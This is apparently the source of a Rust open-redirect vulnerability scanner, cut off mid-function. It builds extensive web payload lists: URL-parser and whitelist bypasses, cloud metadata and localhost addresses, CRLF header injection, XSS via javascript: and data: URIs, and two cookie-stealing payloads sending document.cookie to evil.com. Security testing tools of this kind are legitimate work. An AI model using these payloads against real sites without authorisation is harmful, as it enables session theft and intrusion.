use crate::http_client::HttpClient;
use crate::scanners::parameter_filter::{ParameterFilter, ScannerType};
use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
use futures::stream::{self, StreamExt};
use regex::Regex;
use std::collections::HashSet;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::Arc;
use tokio::sync::Mutex;
use tracing::{debug, info, warn};
pub struct OpenRedirectScanner {
http_client: Arc<HttpClient>,
}
#[derive(Debug, Clone, PartialEq)]
pub enum BypassCategory {
Basic,
ProtocolRelative,
DangerousProtocol,
WhitelistBypass,
EncodingBypass,
UnicodeBypass,
ParserDifferential,
BackslashTrick,
IPAddress,
HeaderInjection,
OAuthBypass,
DoubleEncoding,
CaseMutation,
PathConfusion,
FragmentAbuse,
DataUri,
ProtocolConfusion,
HomoglyphAttack,
NullByteInjection,
PortTrick,
UserInfoAbuse,
SlashManipulation,
DomainConfusion,
}
impl BypassCategory {
fn as_str(&self) -> &str {
match self {
Self::Basic => "Basic External Redirect",
Self::ProtocolRelative => "Protocol-Relative URL",
Self::DangerousProtocol => "Dangerous Protocol Handler",
Self::WhitelistBypass => "Whitelist Bypass",
Self::EncodingBypass => "Encoding Bypass",
Self::UnicodeBypass => "Unicode Bypass",
Self::ParserDifferential => "Parser Differential",
Self::BackslashTrick => "Backslash Trick",
Self::IPAddress => "IP Address Variation",
Self::HeaderInjection => "Header Injection",
Self::OAuthBypass => "OAuth/OIDC Bypass",
Self::DoubleEncoding => "Double/Triple Encoding",
Self::CaseMutation => "Case Mutation",
Self::PathConfusion => "Path Confusion",
Self::FragmentAbuse => "Fragment Abuse",
Self::DataUri => "Data URI",
Self::ProtocolConfusion => "Protocol Confusion",
Self::HomoglyphAttack => "Homoglyph Attack",
Self::NullByteInjection => "Null Byte Injection",
Self::PortTrick => "Port Manipulation",
Self::UserInfoAbuse => "UserInfo Abuse",
Self::SlashManipulation => "Slash Manipulation",
Self::DomainConfusion => "Domain Confusion",
}
}
}
struct RedirectPayload {
payload: String,
category: BypassCategory,
description: String,
}
impl OpenRedirectScanner {
pub fn new(http_client: Arc<HttpClient>) -> Self {
Self { http_client }
}
fn generate_evil_domains(&self) -> Vec<(String, &'static str)> {
let mut domains = Vec::new();
let base_domains = vec!["evil.com", "attacker.com"];
for domain in &base_domains {
domains.push((domain.to_string(), "Base evil domain"));
}
domains.push(("еvil.com".to_string(), "Cyrillic 'е' (U+0435)"));
domains.push(("evil。com".to_string(), "Ideographic full stop (U+3002)"));
domains.push(("evil\u{200B}.com".to_string(), "Zero-width space"));
domains.push(("xn--vil-epa.com".to_string(), "Punycode for еvil.com"));
domains.push(("redirect-test.bountyy.fi".to_string(), "OOB canary domain"));
domains
}
fn generate_protocols(&self) -> Vec<(String, BypassCategory, &'static str)> {
vec![
("https://".to_string(), BypassCategory::Basic, "HTTPS"),
("http://".to_string(), BypassCategory::Basic, "HTTP"),
(
"//".to_string(),
BypassCategory::ProtocolRelative,
"Protocol-relative",
),
(
"///".to_string(),
BypassCategory::SlashManipulation,
"Triple slash",
),
(
"/\\".to_string(),
BypassCategory::BackslashTrick,
"Slash-backslash",
),
(
"\\\\".to_string(),
BypassCategory::BackslashTrick,
"Double backslash (UNC)",
),
(
"https:/".to_string(),
BypassCategory::ParserDifferential,
"Single slash HTTPS",
),
(
"https:\\\\".to_string(),
BypassCategory::ParserDifferential,
"Backslash HTTPS",
),
(
"HTTPS://".to_string(),
BypassCategory::CaseMutation,
"Uppercase HTTPS",
),
(
"javascript:".to_string(),
BypassCategory::DangerousProtocol,
"JavaScript protocol",
),
(
"data:text/html,".to_string(),
BypassCategory::DataUri,
"Data URI HTML",
),
(
"https:".to_string(),
BypassCategory::ProtocolConfusion,
"HTTPS no slashes",
),
(
"https:%0a//".to_string(),
BypassCategory::ProtocolConfusion,
"Newline in protocol",
),
]
}
fn generate_encoding_variations(
&self,
domain: &str,
) -> Vec<(String, BypassCategory, &'static str)> {
let mut variations = Vec::new();
let url_encoded = urlencoding::encode(domain);
variations.push((
format!("https://{}", url_encoded),
BypassCategory::EncodingBypass,
"URL encoded domain",
));
let double_encoded = urlencoding::encode(&url_encoded);
variations.push((
format!("https://{}", double_encoded),
BypassCategory::DoubleEncoding,
"Double URL encoded",
));
let triple_encoded = urlencoding::encode(&double_encoded);
variations.push((
format!("https://{}", triple_encoded),
BypassCategory::DoubleEncoding,
"Triple URL encoded",
));
variations.push((
format!("https%3A%2F%2F{}", domain),
BypassCategory::EncodingBypass,
"Encoded protocol",
));
variations.push((
format!("https%253A%252F%252F{}", domain),
BypassCategory::DoubleEncoding,
"Double encoded protocol",
));
variations.push((
format!("https%25253A%25252F%25252F{}", domain),
BypassCategory::DoubleEncoding,
"Triple encoded protocol",
));
variations.push((
format!("ht%74ps://{}", domain),
BypassCategory::EncodingBypass,
"Partial protocol encode",
));
variations.push((
format!("htt%70s://{}", domain),
BypassCategory::EncodingBypass,
"Partial protocol encode 2",
));
variations.push((
format!("https%3a//{}", domain),
BypassCategory::EncodingBypass,
"Encoded colon",
));
variations.push((
format!("https:%2f%2f{}", domain),
BypassCategory::EncodingBypass,
"Encoded slashes",
));
variations.push((
format!("%2f%2f{}", domain),
BypassCategory::EncodingBypass,
"Encoded double slash",
));
variations.push((
format!("/%2f{}", domain),
BypassCategory::EncodingBypass,
"Slash + encoded slash",
));
let hex_domain: String = domain
.chars()
.map(|c| format!("%{:02x}", c as u8))
.collect();
variations.push((
format!("https://{}", hex_domain),
BypassCategory::EncodingBypass,
"Full hex encoded domain",
));
variations.push((
format!("https://%65%76%69%6c.com"),
BypassCategory::EncodingBypass,
"Hex encoded evil",
));
variations.push((
format!("//%65%76%69%6c%2e%63%6f%6d"),
BypassCategory::EncodingBypass,
"Hex protocol-relative",
));
variations.push((
format!("https://{}%E3%80%82com", domain.replace(".com", "")),
BypassCategory::UnicodeBypass,
"Unicode fullwidth dot",
));
variations.push((
format!("https://{}%ef%bc%8ecom", domain.replace(".com", "")),
BypassCategory::UnicodeBypass,
"Unicode dot encoded",
));
variations.push((
format!("https://{}%e2%80%8b.com", domain.replace(".com", "")),
BypassCategory::UnicodeBypass,
"Zero-width space encoded",
));
variations.push((
format!("https://%c0%ae%c0%ae/{}", domain),
BypassCategory::EncodingBypass,
"Overlong UTF-8 dots",
));
variations
}
fn generate_whitelist_bypasses(
&self,
target_domain: &str,
evil_domain: &str,
) -> Vec<(String, BypassCategory, &'static str)> {
let mut bypasses = Vec::new();
bypasses.push((
format!("https://{}@{}", target_domain, evil_domain),
BypassCategory::UserInfoAbuse,
"Userinfo @ bypass",
));
bypasses.push((
format!("https://{}%40{}", target_domain, evil_domain),
BypassCategory::UserInfoAbuse,
"Encoded @ bypass",
));
bypasses.push((
format!("https://{}:password@{}", target_domain, evil_domain),
BypassCategory::UserInfoAbuse,
"User:pass @ bypass",
));
bypasses.push((
format!("https://:@{}:{}", evil_domain, target_domain),
BypassCategory::UserInfoAbuse,
"Empty user with port",
));
bypasses.push((
format!("https://{}:@{}", target_domain, evil_domain),
BypassCategory::UserInfoAbuse,
"Empty password",
));
bypasses.push((
format!("//{}@{}", target_domain, evil_domain),
BypassCategory::UserInfoAbuse,
"Protocol-relative userinfo",
));
bypasses.push((
format!("//{}%40{}", target_domain, evil_domain),
BypassCategory::UserInfoAbuse,
"Protocol-relative encoded @",
));
bypasses.push((
format!("https://{}\\@{}", target_domain, evil_domain),
BypassCategory::BackslashTrick,
"Backslash userinfo",
));
bypasses.push((
format!("//{}\\@{}", target_domain, evil_domain),
BypassCategory::BackslashTrick,
"Protocol-rel backslash @",
));
bypasses.push((
format!("https://{}.{}", target_domain, evil_domain),
BypassCategory::DomainConfusion,
"Target as subdomain",
));
bypasses.push((
format!("https://{}-{}", target_domain, evil_domain),
BypassCategory::DomainConfusion,
"Hyphen domain bypass",
));
bypasses.push((
format!("https://{}_{}", target_domain, evil_domain),
BypassCategory::DomainConfusion,
"Underscore domain",
));
bypasses.push((
format!("https://{}{}", target_domain, evil_domain),
BypassCategory::DomainConfusion,
"Concatenated domain",
));
bypasses.push((
format!("//{}.{}", target_domain, evil_domain),
BypassCategory::DomainConfusion,
"Protocol-rel subdomain",
));
bypasses.push((
format!("https://{}/{}", evil_domain, target_domain),
BypassCategory::PathConfusion,
"Target in path",
));
bypasses.push((
format!("https://{}\\{}", evil_domain, target_domain),
BypassCategory::BackslashTrick,
"Backslash path",
));
bypasses.push((
format!("https://{}%5C{}", evil_domain, target_domain),
BypassCategory::BackslashTrick,
"Encoded backslash path",
));
bypasses.push((
format!("https://{}%2F{}", evil_domain, target_domain),
BypassCategory::EncodingBypass,
"Encoded slash path",
));
bypasses.push((
format!("https://{}?{}", evil_domain, target_domain),
BypassCategory::WhitelistBypass,
"Target in query",
));
bypasses.push((
format!("https://{}%3F{}", evil_domain, target_domain),
BypassCategory::EncodingBypass,
"Encoded query",
));
bypasses.push((
format!("https://{}?url={}", evil_domain, target_domain),
BypassCategory::WhitelistBypass,
"Target as param value",
));
bypasses.push((
format!("https://{}#{}", evil_domain, target_domain),
BypassCategory::FragmentAbuse,
"Target in fragment",
));
bypasses.push((
format!("https://{}%23{}", evil_domain, target_domain),
BypassCategory::EncodingBypass,
"Encoded fragment",
));
bypasses.push((
format!("https://{}#@{}", evil_domain, target_domain),
BypassCategory::FragmentAbuse,
"Fragment with @",
));
bypasses.push((
format!("https://{}/..%2f..%2f{}", target_domain, evil_domain),
BypassCategory::PathConfusion,
"Path traversal",
));
bypasses.push((
format!(
"https://{}%252f%252e%252e%252f{}",
target_domain, evil_domain
),
BypassCategory::DoubleEncoding,
"Double encoded traversal",
));
bypasses.push((
format!("/{}/..%2f..%2f..%2f{}", target_domain, evil_domain),
BypassCategory::PathConfusion,
"Relative path traversal",
));
bypasses.push((
format!(
"https://{}.com%00.{}",
evil_domain.replace(".com", ""),
target_domain
),
BypassCategory::NullByteInjection,
"Null byte domain",
));
bypasses.push((
format!("https://{}%00{}", target_domain, evil_domain),
BypassCategory::NullByteInjection,
"Null byte separator",
));
bypasses.push((
format!(
"https://{}\x00.{}",
evil_domain.replace(".com", ""),
target_domain
),
BypassCategory::NullByteInjection,
"Raw null byte",
));
bypasses.push((
format!("https://{}\\.{}", target_domain, evil_domain),
BypassCategory::WhitelistBypass,
"Escaped dot regex",
));
bypasses.push((
format!(
"https://{}[.]{}",
target_domain.replace(".", ""),
evil_domain
),
BypassCategory::WhitelistBypass,
"Bracket dot regex",
));
bypasses
}
fn generate_ip_variations(&self) -> Vec<(String, BypassCategory, &'static str)> {
let mut ips = Vec::new();
ips.push((
"http://127.0.0.1".to_string(),
BypassCategory::IPAddress,
"IPv4 localhost",
));
ips.push((
"http://127.0.1".to_string(),
BypassCategory::IPAddress,
"Short localhost",
));
ips.push((
"http://127.1".to_string(),
BypassCategory::IPAddress,
"Shorter localhost",
));
ips.push(("http://0".to_string(), BypassCategory::IPAddress, "Zero IP"));
ips.push((
"http://0.0.0.0".to_string(),
BypassCategory::IPAddress,
"All zeros",
));
ips.push((
"http://[::1]".to_string(),
BypassCategory::IPAddress,
"IPv6 localhost",
));
ips.push((
"http://[0:0:0:0:0:0:0:1]".to_string(),
BypassCategory::IPAddress,
"Full IPv6 localhost",
));
ips.push((
"http://[::ffff:127.0.0.1]".to_string(),
BypassCategory::IPAddress,
"IPv6 mapped localhost",
));
ips.push((
"http://2130706433".to_string(),
BypassCategory::IPAddress,
"Decimal localhost",
));
ips.push((
"http://0x7f000001".to_string(),
BypassCategory::IPAddress,
"Hex localhost",
));
ips.push((
"http://0x7f.0x0.0x0.0x1".to_string(),
BypassCategory::IPAddress,
"Dotted hex localhost",
));
ips.push((
"http://017700000001".to_string(),
BypassCategory::IPAddress,
"Octal localhost",
));
ips.push((
"http://0177.0.0.01".to_string(),
BypassCategory::IPAddress,
"Dotted octal localhost",
));
ips.push((
"http://0177.0000.0000.0001".to_string(),
BypassCategory::IPAddress,
"Padded octal localhost",
));
ips.push((
"http://0x7f.0.0.1".to_string(),
BypassCategory::IPAddress,
"Mixed hex-dec",
));
ips.push((
"http://0177.0.0.0x1".to_string(),
BypassCategory::IPAddress,
"Mixed oct-hex",
));
ips.push((
"http://127.0x0.0.1".to_string(),
BypassCategory::IPAddress,
"Mixed dec-hex",
));
ips.push((
"http://169.254.169.254".to_string(),
BypassCategory::IPAddress,
"AWS metadata",
));
ips.push((
"http://2852039166".to_string(),
BypassCategory::IPAddress,
"Decimal AWS metadata",
));
ips.push((
"http://0xa9fea9fe".to_string(),
BypassCategory::IPAddress,
"Hex AWS metadata",
));
ips.push((
"http://[::ffff:169.254.169.254]".to_string(),
BypassCategory::IPAddress,
"IPv6 AWS metadata",
));
ips.push((
"http://0251.0376.0251.0376".to_string(),
BypassCategory::IPAddress,
"Octal AWS metadata",
));
ips.push((
"http://0xa9.0xfe.0xa9.0xfe".to_string(),
BypassCategory::IPAddress,
"Dotted hex AWS",
));
ips.push((
"http://metadata.google.internal".to_string(),
BypassCategory::IPAddress,
"GCP metadata",
));
ips.push((
"http://169.254.169.254/computeMetadata/v1/".to_string(),
BypassCategory::IPAddress,
"GCP metadata path",
));
ips.push((
"http://169.254.169.254/metadata/instance".to_string(),
BypassCategory::IPAddress,
"Azure metadata",
));
ips.push((
"http://169.254.169.254/metadata/v1/".to_string(),
BypassCategory::IPAddress,
"DO metadata",
));
ips.push((
"http://10.0.0.1".to_string(),
BypassCategory::IPAddress,
"Internal 10.x",
));
ips.push((
"http://172.16.0.1".to_string(),
BypassCategory::IPAddress,
"Internal 172.16.x",
));
ips.push((
"http://192.168.0.1".to_string(),
BypassCategory::IPAddress,
"Internal 192.168.x",
));
ips
}
fn generate_crlf_injections(
&self,
evil_domain: &str,
) -> Vec<(String, BypassCategory, &'static str)> {
let mut injections = Vec::new();
injections.push((
format!("%0d%0aLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"CRLF injection",
));
injections.push((
format!("%0aLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"LF only",
));
injections.push((
format!("%0dLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"CR only",
));
injections.push((
format!("%250d%250aLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"Double encoded CRLF",
));
injections.push((
format!("%25%30%64%25%30%61Location:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"Triple encoded CRLF",
));
injections.push((
format!("%e5%98%8a%e5%98%8dLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"Unicode CRLF",
));
injections.push((
format!("%u000aLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"Unicode LF",
));
injections.push((
format!("%u000dLocation:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"Unicode CR",
));
injections.push((
format!("%0d%0a%0d%0a<script>alert(document.domain)</script>"),
BypassCategory::HeaderInjection,
"CRLF with XSS",
));
injections.push((
format!("%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"),
BypassCategory::HeaderInjection,
"CRLF with content-type",
));
injections.push((
format!("%0d%0a%09Location:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"CRLF with tab",
));
injections.push((
format!("%0d%0a%20Location:%20https://{}", evil_domain),
BypassCategory::HeaderInjection,
"CRLF with space",
));
injections.push((
format!(
"%0d%0aSet-Cookie:%20evil=value%0d%0aLocation:%20https://{}",
evil_domain
),
BypassCategory::HeaderInjection,
"CRLF cookie + location",
));
injections
}
fn generate_oauth_bypasses(
&self,
target_domain: &str,
evil_domain: &str,
) -> Vec<(String, BypassCategory, &'static str)> {
let mut bypasses = Vec::new();
let oauth_paths = vec![
"/callback",
"/oauth/callback",
"/oauth2/callback",
"/auth/callback",
"/signin-callback",
"/login/callback",
"/authorize/callback",
"/oidc/callback",
"/sso/callback",
];
for path in &oauth_paths {
bypasses.push((
format!("https://{}{}", evil_domain, path),
BypassCategory::OAuthBypass,
"OAuth callback path",
));
}
bypasses.push((
format!("https://{}/..%2f..%2f{}", target_domain, evil_domain),
BypassCategory::OAuthBypass,
"OAuth path traversal",
));
bypasses.push((
format!(
"https://{}%252f%252e%252e%252f{}",
target_domain, evil_domain
),
BypassCategory::OAuthBypass,
"Double encoded OAuth traversal",
));
bypasses.push((
format!(
"https://{}%2f%2e%2e%2f%2e%2e%2f{}",
target_domain, evil_domain
),
BypassCategory::OAuthBypass,
"Encoded OAuth traversal",
));
bypasses.push((
format!(
"https://{}.{}/oauth",
evil_domain.replace(".com", ""),
target_domain
),
BypassCategory::OAuthBypass,
"Subdomain OAuth",
));
bypasses.push((
format!("https://oauth.{}", evil_domain),
BypassCategory::OAuthBypass,
"OAuth subdomain on evil",
));
bypasses.push((
format!("https://{}/logout?redirect={}", target_domain, evil_domain),
BypassCategory::OAuthBypass,
"Post-logout redirect",
));
bypasses.push((
format!(
"https://{}?post_logout_redirect_uri=https://{}",
target_domain, evil_domain
),
BypassCategory::OAuthBypass,
"OIDC post-logout",
));
bypasses
}
fn generate_javascript_payloads(&self) -> Vec<(String, BypassCategory, &'static str)> {
let mut payloads = Vec::new();
payloads.push((
"javascript:alert(document.domain)".to_string(),
BypassCategory::DangerousProtocol,
"JS alert domain",
));
payloads.push((
"javascript:alert(1)".to_string(),
BypassCategory::DangerousProtocol,
"JS alert 1",
));
payloads.push((
"javascript:alert`1`".to_string(),
BypassCategory::DangerousProtocol,
"JS template literal",
));
payloads.push((
"javascript:prompt(1)".to_string(),
BypassCategory::DangerousProtocol,
"JS prompt",
));
payloads.push((
"javascript:confirm(1)".to_string(),
BypassCategory::DangerousProtocol,
"JS confirm",
));
payloads.push((
"javascript://comment%0aalert(1)".to_string(),
BypassCategory::DangerousProtocol,
"JS comment bypass",
));
payloads.push((
"javascript://anything%0d%0aalert(1)".to_string(),
BypassCategory::DangerousProtocol,
"JS CRLF comment",
));
payloads.push((
"JAVASCRIPT:alert(1)".to_string(),
BypassCategory::CaseMutation,
"Uppercase JAVASCRIPT",
));
payloads.push((
"JaVaScRiPt:alert(1)".to_string(),
BypassCategory::CaseMutation,
"Mixed case JS",
));
payloads.push((
"jAvAsCrIpT:alert(1)".to_string(),
BypassCategory::CaseMutation,
"Mixed case JS 2",
));
payloads.push((
"java%0ascript:alert(1)".to_string(),
BypassCategory::EncodingBypass,
"Newline in JS protocol",
));
payloads.push((
"java%09script:alert(1)".to_string(),
BypassCategory::EncodingBypass,
"Tab in JS protocol",
));
payloads.push((
"java%0dscript:alert(1)".to_string(),
BypassCategory::EncodingBypass,
"CR in JS protocol",
));
payloads.push((
"\\x6Aavascript:alert(1)".to_string(),
BypassCategory::EncodingBypass,
"Hex escape in JS",
));
payloads.push((
"javascript:alert(1)".to_string(),
BypassCategory::EncodingBypass,
"HTML entity j",
));
payloads.push((
"javascript:alert(1)".to_string(),
BypassCategory::EncodingBypass,
"Hex HTML entity j",
));
payloads.push((
"javascript:document.location='https://evil.com/'+document.cookie".to_string(),
BypassCategory::DangerousProtocol,
"Cookie stealer",
));
payloads.push((
"javascript:fetch('https://evil.com/'+document.cookie)".to_string(),
BypassCategory::DangerousProtocol,
"Fetch cookie stealer",
));
payloads
}
fn generate_data_uri_payloads(&self) -> Vec<(String, BypassCategory, &'static str)> {
let mut payloads = Vec::new();
payloads.push((
"data:text/html,<script>alert(1)</script>".to_string(),
BypassCategory::DataUri,
"Data URI HTML script",
));
payloads.push((
"data:text/html,<script>alert(document.domain)</script>".to_string(),
BypassCategory::DataUri,
"Data URI alert domain",
));
payloads.push((
"data:text/html,<body onload=alert(1)>".to_string(),
BypassCategory::DataUri,
"Data URI body onload",
));
payloads.push((
"data:text/html,<img src=x onerror=alert(1)>".to_string(),
BypassCategory::DataUri,
"Data URI img onerror",
));
payloads.push((
"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==".to_string(),
BypassCategory::DataUri,
"Base64 script alert",
));
payloads.push((
"data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"
.to_string(),
BypassCategory::DataUri,
"Base64 alert domain",
));
payloads.push((
"data:text/html;charset=utf-8,<script>alert(1)</script>".to_string(),
BypassCategory::DataUri,
"Data URI with charset",
));
payloads.push((
"data:text/html;charset=UTF-8;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==".to_string(),
BypassCategory::DataUri,
"Base64 with charset",
));
payloads.push((
"DATA:text/html,<script>alert(1)</script>".to_string(),
BypassCategory::CaseMutation,
"Uppercase DATA",
));
payloads.push((
"DaTa:text/html,<script>alert(1)</script>".to_string(),
BypassCategory::CaseMutation,
"Mixed case data",
));
payloads.push((
"data:text/html,<meta http-equiv='refresh' content='0;url=https://evil.com'>"
.to_string(),
BypassCategory::DataUri,
"Data URI meta refresh",
));
payloads.push(("data:text/html;base64,PG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDt1cmw9aHR0cHM6Ly9ldmlsLmNvbSc+".to_string(), BypassCategory::DataUri, "Base64 meta refresh"));
payloads
}
fn generate_port_payloads(
&self,
evil_domain: &str,
) -> Vec<(String, BypassCategory, &'static str)> {
let mut payloads = Vec::new();
payloads.push((
format!("https://{}:443", evil_domain),
BypassCategory::PortTrick,
"Explicit 443",
));
payloads.push((
format!("https://{}:443/", evil_domain),
BypassCategory::PortTrick,
"Port 443 with slash",
));
payloads.push((
format!("http://{}:80", evil_domain),
BypassCategory::PortTrick,
"Explicit 80",
));
payloads.push((
format!("http://{}:80/", evil_domain),
BypassCategory::PortTrick,
"Port 80 with slash",
));
payloads.push((
format!("https://{}:80", evil_domain),
BypassCategory::PortTrick,
"Port 80 on HTTPS",
));
payloads.push((
format!("http://{}:443", evil_domain),
BypassCategory::PortTrick,
"Port 443 on HTTP",
));
payloads.push((
format!("//{}:443", evil_domain),
BypassCategory::PortTrick,
"Protocol-rel port 443",
));
payloads.push((
format!("//{}:80", evil_domain),
BypassCategory::PortTrick,
"Protocol-rel port 80",
));
payloads.push((
format!("//{}:8080", evil_domain),
BypassCategory::PortTrick,
"Protocol-rel port 8080",
));
payloads.push((
format!("http://{}:8080", evil_domain),
BypassCategory::PortTrick,
"Port 8080",
));
payloads.push((
format!("http://{}:8443", evil_domain),
BypassCategory::PortTrick,
"Port 8443",
));
payloads.push((
format!("http://{}:3000", evil_domain),
BypassCategory::PortTrick,
"Port 3000",
));
payloads
}
fn generate_enterprise_payloads(&self, target_domain: &str) -> Vec<RedirectPayload> {
let mut payloads = Vec::new();
let evil_domains = self.generate_evil_domains();
let protocols = self.generate_protocols();
info!(
"[OpenRedirect] Generating enterprise payloads from {} evil domains x {} protocols",
evil_domains.len(),
protocols.len()
);
for (evil_domain, domain_desc) in &evil_domains {
for (protocol, proto_category, proto_desc) in &protocols {
if matches!(
proto_category,
BypassCategory::DangerousProtocol | BypassCategory::DataUri
) {
continue;
}
payloads.push(RedirectPayload {
payload: format!("{}{}", protocol, evil_domain),
category: proto_category.clone(),
description: format!("{} + {}", proto_desc, domain_desc),
});
}
}
let max_encoding = evil_domains.len().min(5);
for (evil_domain, _) in &evil_domains[..max_encoding] {
let encoding_variations = self.generate_encoding_variations(evil_domain);
for (payload, category, desc) in encoding_variations {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
}
let max_whitelist = evil_domains.len().min(5);
for (evil_domain, _) in &evil_domains[..max_whitelist] {
let whitelist_bypasses = self.generate_whitelist_bypasses(target_domain, evil_domain);
for (payload, category, desc) in whitelist_bypasses {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
}
let ip_variations = self.generate_ip_variations();
for (payload, category, desc) in ip_variations {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
let max_crlf = evil_domains.len().min(3);
for (evil_domain, _) in &evil_domains[..max_crlf] {
let crlf_injections = self.generate_crlf_injections(evil_domain);
for (payload, category, desc) in crlf_injections {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
}
let max_oauth = evil_domains.len().min(5);
for (evil_domain, _) in &evil_domains[..max_oauth] {
let oauth_bypasses = self.generate_oauth_bypasses(target_domain, evil_domain);
for (payload, category, desc) in oauth_bypasses {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
}
let js_payloads = self.generate_javascript_payloads();
for (payload, category, desc) in js_payloads {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
let data_uri_payloads = self.generate_data_uri_payloads();
for (payload, category, desc) in data_uri_payloads {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
let max_port = evil_domains.len().min(5);
for (evil_domain, _) in &evil_domains[..max_port] {
let port_payloads = self.generate_port_payloads(evil_domain);
for (payload, category, desc) in port_payloads {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
}
self.add_edge_case_payloads(&mut payloads, target_domain);
info!(
"[OpenRedirect] Generated {} enterprise-grade payloads",
payloads.len()
);
payloads
}
fn add_edge_case_payloads(&self, payloads: &mut Vec<RedirectPayload>, target_domain: &str) {
let _evil = "evil.com";
let edge_cases = vec![
(
" https://evil.com",
BypassCategory::ParserDifferential,
"Leading space",
),
(
" https://evil.com",
BypassCategory::ParserDifferential,
"Double leading space",
),
(
"\thttps://evil.com",
BypassCategory::ParserDifferential,
"Leading tab",
),
(
"\nhttps://evil.com",
BypassCategory::ParserDifferential,
"Leading newline",
),
(
"https://evil.com ",
BypassCategory::ParserDifferential,
"Trailing space",
),
(
"https://evil.com\t",
BypassCategory::ParserDifferential,
"Trailing tab",
),
(
"https://evil.com%20",
BypassCategory::EncodingBypass,
"Encoded trailing space",
),
(
"https://evil.com%09",
BypassCategory::EncodingBypass,
"Encoded trailing tab",
),
(
"https:evil.com",
BypassCategory::ProtocolConfusion,
"No slashes after colon",
),
(
"https:/evil.com",
BypassCategory::ProtocolConfusion,
"Single slash",
),
(
"https:///evil.com",
BypassCategory::ParserDifferential,
"Triple slash after protocol",
),
(
"https:////evil.com",
BypassCategory::ParserDifferential,
"Quad slash after protocol",
),
(
"https://ℯ𝓿ⅈℓ.com",
BypassCategory::HomoglyphAttack,
"Fancy script letters",
),
(
"https://EVILˌCOM",
BypassCategory::HomoglyphAttack,
"Fullwidth letters",
),
(
"https://@evil.com",
BypassCategory::UserInfoAbuse,
"Empty username",
),
(
"https://:@evil.com",
BypassCategory::UserInfoAbuse,
"Empty user and pass",
),
(
"https://user:@evil.com",
BypassCategory::UserInfoAbuse,
"Empty password",
),
(
"https://:pass@evil.com",
BypassCategory::UserInfoAbuse,
"Empty username with pass",
),
(
"https://evil.com#",
BypassCategory::FragmentAbuse,
"Empty fragment",
),
(
"https://evil.com?",
BypassCategory::WhitelistBypass,
"Empty query",
),
(
"https://evil.com?#",
BypassCategory::WhitelistBypass,
"Empty query and fragment",
),
(
"https://evil.com#?",
BypassCategory::FragmentAbuse,
"Fragment then query",
),
(
"https://evil.com/.",
BypassCategory::PathConfusion,
"Trailing dot",
),
(
"https://evil.com/..",
BypassCategory::PathConfusion,
"Trailing double dot",
),
(
"https://evil.com/./",
BypassCategory::PathConfusion,
"Dot path",
),
(
"https://evil.com/../",
BypassCategory::PathConfusion,
"Double dot path",
),
(
"./https://evil.com",
BypassCategory::PathConfusion,
"Relative with protocol",
),
(
"../https://evil.com",
BypassCategory::PathConfusion,
"Parent with protocol",
),
(
"/https://evil.com",
BypassCategory::PathConfusion,
"Absolute path with protocol",
),
(
"https://evil.com%00",
BypassCategory::NullByteInjection,
"Trailing null byte",
),
(
"https://evil%00.com",
BypassCategory::NullByteInjection,
"Null in domain",
),
(
"https://evil\\.com",
BypassCategory::BackslashTrick,
"Escaped dot",
),
];
for (payload, category, desc) in edge_cases {
payloads.push(RedirectPayload {
payload: payload.to_string(),
category,
description: desc.to_string(),
});
}
let target_tricks = vec![
(
format!("https://{}.evil.com", target_domain),
BypassCategory::DomainConfusion,
"Target as evil subdomain",
),
(
format!("https://evil.com.{}", target_domain),
BypassCategory::DomainConfusion,
"Evil before target",
),
(
format!("https://{}evil.com", target_domain.replace(".", "")),
BypassCategory::DomainConfusion,
"Concatenated",
),
(
format!("https://evil{}com", target_domain),
BypassCategory::DomainConfusion,
"Target in evil domain",
),
];
for (payload, category, desc) in target_tricks {
payloads.push(RedirectPayload {
payload,
category,
description: desc.to_string(),
});
}
}
fn generate_professional_payloads(&self, target_domain: &str) -> Vec<RedirectPayload> {
let mut payloads = Vec::new();
let evil = "evil.com";
let core_payloads = vec![
(
format!("https://{}", evil),
BypassCategory::Basic,
"HTTPS redirect",
),
(
format!("http://{}", evil),
BypassCategory::Basic,
"HTTP redirect",
),
(
format!("//{}", evil),
BypassCategory::ProtocolRelative,
"Protocol-relative",
),
(
format!("///{}", evil),
BypassCategory::SlashManipulation,
"Triple slash",
),
(
format!("/\\{}", evil),
BypassCategory::BackslashTrick,
"Slash-backslash",
),
(
format!("\\\\{}", evil),
BypassCategory::BackslashTrick,
"Double backslash",
),
(
format!("https://{}@{}", target_domain, evil),
BypassCategory::UserInfoAbuse,
"Userinfo bypass",
),
(
format!("https://{}.{}", target_domain, evil),
BypassCategory::DomainConfusion,
"Subdomain bypass",
),
(
format!("https://{}#{}", evil, target_domain),
BypassCategory::FragmentAbuse,
"Fragment bypass",
),
(
format!("https://{}?{}", evil, target_domain),
BypassCategory::WhitelistBypass,
"Query bypass",
),
(
format!("https%3A%2F%2F{}", evil),
BypassCategory::EncodingBypass,
"URL encoded",
),
(
format!("https%253A%252F%252F{}", evil),
BypassCategory::DoubleEncoding,
"Double encoded",
),
(
"javascript:alert(document.domain)".to_string(),
BypassCategory::DangerousProtocol,
